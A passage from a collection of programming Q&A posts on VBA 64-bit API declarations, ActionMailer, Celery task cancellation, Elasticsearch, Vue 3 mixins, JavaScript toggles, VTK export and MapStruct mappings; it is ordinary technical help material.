        $_SESSION['survey'] = $survey0;
    else if ($choose_survey == 1)
        $_SESSION['survey'] = $survey1;
    else if ($choose_survey == 2)
        $_SESSION['survey'] = $survey2;

    // At this point, 'survey' should have the correct value...

    [etc...]

Tip: Printing out the variables along the way can help you see where the problem is happening.


text:
Q: Migrating VBA from 32 to 64 bit office fails on "AccessibleObjectFromWindow" in oleacc I've just moved from office 32 bit to office 64 bit. I have a lot of Outlook macros and Outlook helpfully points out all your VBA code that needs changing, and I've been able to fix most of it. The bit I'm struggling with is the code that I had help writing on one of my last stackexchange posts:
Open attachment in excel window and copy to open workbook
The code is supposed to find an excel window with my spreadsheet in it so I can mess about with it in the remainder of the code. Just to recap, the below works in 32 bit:
Option Explicit

Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" _
(ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, _
ByVal lpsz2 As String) As Long

Private Declare Function GetDesktopWindow Lib "user32" () As Long

Private Declare Function AccessibleObjectFromWindow& Lib "oleacc" _
(ByVal hwnd&, ByVal dwId&, riid As GUID, xlWB As Object)

Private Const OBJID_NATIVEOM = &HFFFFFFF0

Private Type GUID
    lData1 As Long
    iData2 As Integer
    iData3 As Integer
    aBData4(0 To 7) As Byte
End Type

Sub Sample()
    Dim Ret
    Dim oXLApp As Object, wb As Object
    Dim sPath As String, sFileName As String, SFile As String,     filewithoutExt As String
    Dim IDispatch As GUID

    sPath = "C:\Users\Chris\Desktop\"
    sFileName = "Data.xlsx": filewithoutExt = "Data"
    SFile = sPath & sFileName

    Ret = IsWorkBookOpen(SFile)

    '~~> If file is open
    If Ret = True Then
        Dim dsktpHwnd As Long, hwnd As Long, mWnd As Long, cWnd As Long

        SetIDispatch IDispatch

        dsktpHwnd = GetDesktopWindow

        hwnd = FindWindowEx(dsktpHwnd, 0&, "XLMAIN", vbNullString)

        mWnd = FindWindowEx(hwnd, 0&, "XLDESK", vbNullString)

        While mWnd <> 0 And cWnd = 0
            cWnd = FindWindowEx(mWnd, 0&, "EXCEL7", filewithoutExt)
            hwnd = FindWindowEx(dsktpHwnd, hwnd, "XLMAIN", vbNullString)
            mWnd = FindWindowEx(hwnd, 0&, "XLDESK", vbNullString)
        Wend

        '~~> We got the handle of the Excel instance which has the file
        If cWnd > 0 Then
            '~~> Bind with the Instance
            Call AccessibleObjectFromWindow(cWnd, OBJID_NATIVEOM, IDispatch, wb)
            '~~> Work with the file
           With wb.Application.Workbooks(sFileName)
                '
                '~~> Rest of the code
                '
            End With
        End If

    '~~> If file is not open
    Else
        On Error Resume Next
        Set oXLApp = GetObject(, "Excel.Application")

        '~~> If not found then create new instance
        If Err.Number <> 0 Then
            Set oXLApp = CreateObject("Excel.Application")
        End If
        Err.Clear
        On Error GoTo 0

        Set wb = oXLApp.Workbooks.Open(SFile)
        '
        '~~> Rest of the code
        '
    End If
End Sub

Private Sub SetIDispatch(ByRef ID As GUID)
    With ID
        .lData1 = &H20400
        .iData2 = &H0
        .iData3 = &H0
        .aBData4(0) = &HC0
        .aBData4(1) = &H0
        .aBData4(2) = &H0
        .aBData4(3) = &H0
        .aBData4(4) = &H0
        .aBData4(5) = &H0
        .aBData4(6) = &H0
        .aBData4(7) = &H46
    End With
End Sub

'~~> Function to check if file is open
Function IsWorkBookOpen(FileName As String)
    Dim ff As Long, ErrNo As Long

    On Error Resume Next
    ff = FreeFile()
    Open FileName For Input Lock Read As #ff
    Close ff
    ErrNo = Err
    On Error GoTo 0

    Select Case ErrNo
    Case 0:    IsWorkBookOpen = False
    Case 70:   IsWorkBookOpen = True
    Case Else: Error ErrNo
    End Select
End Function

There seems to be one line failing in the below, which is only invoked when the excel file you're looking is open, and in the 32 bit version it sets 'wb' to the application that's got it open.
I've commented the broken line:
Option Explicit

Private Declare PtrSafe Function FindWindowEx Lib "user32" _
    Alias "FindWindowExA" (ByVal hWnd1 As LongPtr, ByVal hWnd2 As LongPtr, _
    ByVal lpsz1 As String, ByVal lpsz2 As String) As LongPtr

Public Declare PtrSafe Function GetDesktopWindow Lib "user32" () As LongPtr

Private Declare Function AccessibleObjectFromWindow& Lib "oleacc" _
(ByVal hwnd&, ByVal dwId&, riid As GUID, xlWB As Object)

Private Const OBJID_NATIVEOM = &HFFFFFFF0

Private Type GUID
    lData1 As LongPtr
    iData2 As Integer
    iData3 As Integer
    aBData4(0 To 7) As Byte
End Type

Sub Sample()
    Dim Ret
    Dim oXLApp As Object, wb As Object
    Dim sPath As String, sFileName As String, SFile As String,     filewithoutExt As String
    Dim IDispatch As GUID

    sPath = "C:\Users\Chris\Desktop\"
    sFileName = "Data.xlsx": filewithoutExt = "Data"
    SFile = sPath & sFileName

    Ret = IsWorkBookOpen(SFile)

    '~~> If file is open
    If Ret = True Then
        Dim dsktpHwnd As LongPtr, hwnd As LongPtr, mWnd As LongPtr, cWnd As LongPtr

        SetIDispatch IDispatch

        dsktpHwnd = GetDesktopWindow

        hwnd = FindWindowEx(dsktpHwnd, 0&, "XLMAIN", vbNullString)

        mWnd = FindWindowEx(hwnd, 0&, "XLDESK", vbNullString)

        While mWnd <> 0 And cWnd = 0
            cWnd = FindWindowEx(mWnd, 0&, "EXCEL7", filewithoutExt)
            hwnd = FindWindowEx(dsktpHwnd, hwnd, "XLMAIN", vbNullString)
            mWnd = FindWindowEx(hwnd, 0&, "XLDESK", vbNullString)
        Wend

        '~~> We got the handle of the Excel instance which has the file
        If cWnd > 0 Then
            '~~> Bind with the Instance
'!!!!!!!!!!this next line does nothing!!!!!!!
            Call AccessibleObjectFromWindow(cWnd, OBJID_NATIVEOM, IDispatch, wb)
            '~~> Work with the file
           With wb.Application.Workbooks(sFileName)
                '
                '~~> Rest of the code
                '
            End With
        End If

    '~~> If file is not open
    Else
        On Error Resume Next
        Set oXLApp = GetObject(, "Excel.Application")

        '~~> If not found then create new instance
        If Err.Number <> 0 Then
            Set oXLApp = CreateObject("Excel.Application")
        End If
        Err.Clear
        On Error GoTo 0

        Set wb = oXLApp.Workbooks.Open(SFile)
        '
        '~~> Rest of the code
        '
    End If
End Sub

Private Sub SetIDispatch(ByRef ID As GUID)
    With ID
        .lData1 = &H20400
        .iData2 = &H0
        .iData3 = &H0
        .aBData4(0) = &HC0
        .aBData4(1) = &H0
        .aBData4(2) = &H0
        .aBData4(3) = &H0
        .aBData4(4) = &H0
        .aBData4(5) = &H0
        .aBData4(6) = &H0
        .aBData4(7) = &H46
    End With
End Sub

'~~> Function to check if file is open
Function IsWorkBookOpen(FileName As String)
    Dim ff As Long, ErrNo As Long

    On Error Resume Next
    ff = FreeFile()
    Open FileName For Input Lock Read As #ff
    Close ff
    ErrNo = Err
    On Error GoTo 0

    Select Case ErrNo
    Case 0:    IsWorkBookOpen = False
    Case 70:   IsWorkBookOpen = True
    Case Else: Error ErrNo
    End Select
End Function

A: You've declared AccessibleObjectFromWindow() using shorthand notation which uses 32bit data types, try changing to:
Private Declare PtrSafe Function AccessibleObjectFromWindow Lib "oleacc" _
(ByVal hwnd As LongPtr, ByVal dwId As LongPtr, riid As GUID, xlWB As Object) As LongPtr

A: Finally found an answer here:
https://stackoverflow.com/a/28504836/317958
So I made two mistakes, first I was over-enthusiastic with changes:
Private Type GUID
    lData1 As LongPtr
    iData2 As Integer
    iData3 As Integer
    aBData4(0 To 7) As Byte
End Type

Should remain:
Private Type GUID
    lData1 As Long
    iData2 As Integer
    iData3 As Integer
    aBData4(0 To 7) As Byte
End Type

And the declaration should be:
Private Declare PtrSafe Function AccessibleObjectFromWindow Lib "oleacc" (ByVal Hwnd As LongPtr, ByVal dwId As LongPtr, ByRef riid As GUID, ByRef ppvObject As Object) As LongPtr


text:
Q: Actionmailer SMTP Server Response When sending mail through actionmailer, the actionmailer gets a response from the SMTP server, when its ok, or when its wrong. Is there a way to retrieve this response after sending a mail?
Also when no errors are thrown by the SMTP server?
Our qmail mail server throws a handler id which we want to use for tracing e-mails.
As an example, the server response is this :
250 ok 1308235825 qp 17832

A: Set return_response: true in the smtp settings and call message.deliver! instead of deliver. This returns the SMTP server response, a Net::SMTP::Response, which contains the server response you're looking for.
If you need a log of all responses from the connection with the server, not just the final result, you'll need to dig into Net::SMTP.

A: Looking at the the source you can define an observer:
in base.rb
  # Register an Observer which will be notified when mail is delivered.
  # Either a class or a string can be passed in as the Observer. If a string is passed in
  # it will be <tt>constantize</tt>d.
  def register_observer(observer)
    delivery_observer = (observer.is_a?(String) ? observer.constantize : observer)
    Mail.register_observer(delivery_observer)
  end

So you could use some code like this in an initialization file:
class MailObserver
  def self.delivered_email(message)
    logger_info "Sent Message: #{message}"
  end
end

ActionMailer::Base.register_observer(MailObserver)

That will log sent mail and you can see if you can get the headers or response from the sent mail object.


text:
Q: End Celery worker task on, time limit, job stage or instruction from client I'm new to celery and I would appreciate a little help with a design pattern(or example code) for a worker I have yet to write.
Below is a description of the desired characteristics of the worker.

*

*The worker will run a task that collects data from an endless source, a generator.

*The worker task will run forever feeding from the generator unless it is directed to stop.

The worker task should stop gracefully on the occurrence of any one of the following triggers.

*

*It exceeds an execution time limit in seconds.

*It exceeds a number of iterations of the endless generator loop.

*The client sends a message instructing the worker task to finish immediately.

Below is some sudo code for how I believe I need to handle trigger scenarios 1 and 2.
What I don't know is how I send the 'finish immediately' signal from the client and how it is received and executed in the worker task.
Any advice or sample code would be appreciated.
from celery.task import task
from celery.exceptions import SoftTimeLimitExceeded

COUNTLIMIT = # some value sent to the worker task by the client

@task()
def getData():
    try:
        for count, data in enumerate(endlessGeneratorThing()):
            # process data here
            if count > COUNTLIMIT: # Handle trigger scenario 2
                clean_up_task_nicely()
                break
    except SoftTimeLimitExceeded:  # Handle trigger scenario 1
            clean_up_task_nicely()

A: My understanding of revoke is that it only revokes a task prior to its execution.  For (3), I think what you want to do is use an AbortableTask, which provides a cooperative way to end a task:
http://docs.celeryproject.org/en/latest/reference/celery.contrib.abortable.html
On the client end you are able to call task.abort(), on the task end, you are able to poll task.is_aborted()


text:
Q: Using Wildcards in Field Names of multi_match Query to match the whole fields Using Wildcards in Field Names says field names can be specified with wildcards, for example:
{
    "multi_match": {
        "query":  "Quick brown fox",
        "fields": "*_title"
    }
}

Now I'd like to query among all fields in the index, So I tried to use * to match all fields. But I got an error, for example:
{
    "multi_match": {
      "query": "nanjing jianye",
      "fields": ["*"]
    }
}

error:
{
   "error": {
      "root_cause": [
         {
            "type": "illegal_argument_exception",
            "reason": "Invalid format: \"nanjing jianye\""
         }
      ],
      "type": "search_phase_execution_exception",
      "reason": "all shards failed",
      "phase": "query",
      "grouped": true,
      "failed_shards": [
         {
            "shard": 0,
            "index": "mycustomer",
            "node": "YHKU1KllRJW-BiH9g5-McQ",
            "reason": {
               "type": "illegal_argument_exception",
               "reason": "Invalid format: \"nanjing jianye\""
            }
         }
      ]
   },
   "status": 400
}

How to match the whole fields using wildcards instead of explicitly specifying the fields?


text:
Q: Vuejs 3: how to use mixins in class component? I started migrating my app from vue 2 to vue 3 and in my project I use class components.
I didn't find way how can I use mixins in Vuejs 3.
Is it possible and how to use mixins in vuejs 3?
current code:
export default class HomePage extends Mixins(Vue, PageMixin) {}

A: I know it is not a direct answer to your question but as stated here
https://vuejs.org/api/options-composition.html#mixins

In Vue 2, mixins were the primary mechanism for creating reusable chunks of component logic. While mixins continue to be supported in Vue 3, Composition API is now the preferred approach for code reuse between components.

A: It is same with the Vue2
const mixin = {
  created() {
    console.log(1)
  }
}

Here you can use it:
createApp({
  mixins: [mixin],
  created() {
    console.log("test")
  },
})


text:
Q: Add a "close" button to Expand-Collapse Paragraph I currently added a collapsible paragraph function to my webpage.  I used the code that I found on http://www.javascriptsource.com/miscellaneous/expand-collapse-paragraph.html#comment_listing.  Basically, I have a very long paragraph that is hidden until the button is clicked, but you have to scroll all the way back to the top to click on the same button to collapse the paragraph.  I was wondering if there a way where I can add a "close" button at the end of the paragraph so that I don't have to scroll to the top.
Thank you.
Here is the code for js, css, and html files:
CSS
input.button {
  color: #fff; background: #0034D0;
  font-size: .8em;
  font-weight:bold;
  font-family: Verdana, Arial, Helvetica, sans-serif;
  border: solid 1px #ffcf31;
}

external JavaScript file named: expandCollapse.js
function toggleMe(a){
  var e=document.getElementById(a);
  if(!e)return true;
  if(e.style.display=="none"){
    e.style.display="block"
  } else {
    e.style.display="none"
  }
  return true;
}

BODY section of HTML document before actual paragraph
<input type="button" class="button" onClick="return toggleMe('para1')" value="Animation Characters Guide">

If I want to add a "close" button, would it be a "a href" tag?

A:
If I want to add a "close" button, would it be a "a href" tag?

Yes, You could use a link:
 hide

or you could use another button:
<input type="button" class="button" onclick="return toggleMe('para1')" value="Are the JavaScripts here free?" />


text:
Q: How to export 3D vector field from numpy array to *.vtk-file using pyvtk? I'm struggling to export some 3D vector-arrays (numpy arrays) from python to a *.vtk-file for later use in ParaView.
I have three 3D MR-Velocimetry Images, each of 100x100x200 voxels containing the velocity components in x, y and z. What I want is to export this vector field to a *.vtk-file using the pyvtk-module from here.
Unfortunately I don't understand how it works :-(
What I tried so far:
from pyvtk import *

vectors = [flow['vx'], flow['vy'], flow['vz']]

dim=flow['vx'].shape

pointdata=PointData(Vectors([flow['vx'],flow['vy'],flow['vz']]))

vtk=VtkData(StructuredPoints(dim[0],dim[1],dim[2]), pointdata)

Where flow['...'] contains the vector-components. I got the following error:
ValueError: DataSet (size=100) and PointData (size=3) have different sizes

Yeeees, what is it trying to tell me? Ok, guess something like dimension mismatch, but how do I set up my input properly?
Any help would be appreciated. Thanks in advance

A: I found a proper solution for my problem, using TVTK instead of PyVTK. So everyone who is interested, a possible workaround could be as follows:
from tvtk.api import tvtk, write_data
# Unpack velocity information

vx=flow['vx']
vy=flow['vy']
vz=flow['vz']

dim=vx.shape

# Generate the grid
xx,yy,zz=np.mgrid[0:dim[0],0:dim[1],0:dim[2]]
pts = empty(vx.shape + (3,), dtype=int)
pts[..., 0] = xx
pts[..., 1] = yy
pts[..., 2] = zz

vectors = empty(vx.shape + (3,), dtype=float)
vectors[..., 0] = vx
vectors[..., 1] = vy
vectors[..., 2] = vz

# We reorder the points and vectors so this is as per VTK's
# requirement of x first, y next and z last.
pts = pts.transpose(2, 1, 0, 3).copy()
pts.shape = pts.size // 3, 3

vectors = vectors.transpose(2, 1, 0, 3).copy()
vectors.shape = vectors.size // 3, 3

sg = tvtk.StructuredGrid(dimensions=xx.shape, points=pts)

sg.point_data.vectors = vectors
sg.point_data.vectors.name = 'velocity'

write_data(sg, 'vtktest.vtk')

Greetings
Phtagen


text:
Q: Can't use Mapstruct ADDER_PREFERRED to not clear target list with @MappingTarget my goal is to map source object to an existing target object, including some of list-properties (in source and target).
According to the documentation,

For CollectionMappingStrategy.ADDER_PREFERRED or CollectionMappingStrategy.TARGET_IMMUTABLE the target will not be cleared and the values will be populated immediately.

and that's what I want.
So I'm making test class:
@Data
public class MainClass {

class ClassA {
    List<ClassC> list;

}

class ClassB {
    List<ClassD> list;

}

class ClassC {

}

class ClassD {

}

}
and following mapper with collectionMappingStrategy and @MappingTarget:
@Mapper(collectionMappingStrategy = CollectionMappingStrategy.ADDER_PREFERRED)
public interface TestMapper {

TestMapper MAPPER = Mappers.getMapper( TestMapper.class );

void map(List<MainClass.ClassA> sourse, @MappingTarget List<MainClass.ClassB> target);

MainClass.ClassB map(MainClass.ClassA sourse);

}
but in the mapper implementation I see clearing of target's list, which I do not need:
public class TestMapperImpl implements TestMapper {

@Override
public void map(List<ClassA> sourse, List<ClassB> target) {
    if ( sourse == null ) {
        return;
    }

    target.clear();
    for ( ClassA classA : sourse ) {
        target.add( map( classA ) );
    }
}

@Override
public ClassB map(ClassA sourse) {
    if ( sourse == null ) {
        return null;
    }

    ClassB classB = new ClassB();

    return classB;
}

}
Am I reading or doing it wrong?

A: The CollectionMappingStrategy.ADDER_PREFERRED is meant for adders on objects. Such as a Car having a method addWheel(Wheel wheel), and not meant for mapping collections.
The CollectionMappingStrategy.TARGET_IMMUTABLE is meant for not doing a clear or addAll when mapping collection properties. i.e.

Instead the target accessor (e.g. set) will be used on the target bean to set the collection.

Both of these have no influence when mapping collections like in your example.
What I would suggest here is to use your own custom mapping
e.g.
@Mapper(collectionMappingStrategy = CollectionMappingStrategy.ADDER_PREFERRED)
public interface TestMapper {

    TestMapper MAPPER = Mappers.getMapper( TestMapper.class );

    default void map(List<MainClass.ClassA> source, @MappingTarget List<MainClass.ClassB> target) {
        if ( source == null ) {
            return;
        }

        for ( ClassA classA : source ) {
            target.add( map( classA ) );
        }
    }

    MainClass.ClassB map(MainClass.ClassA sourse);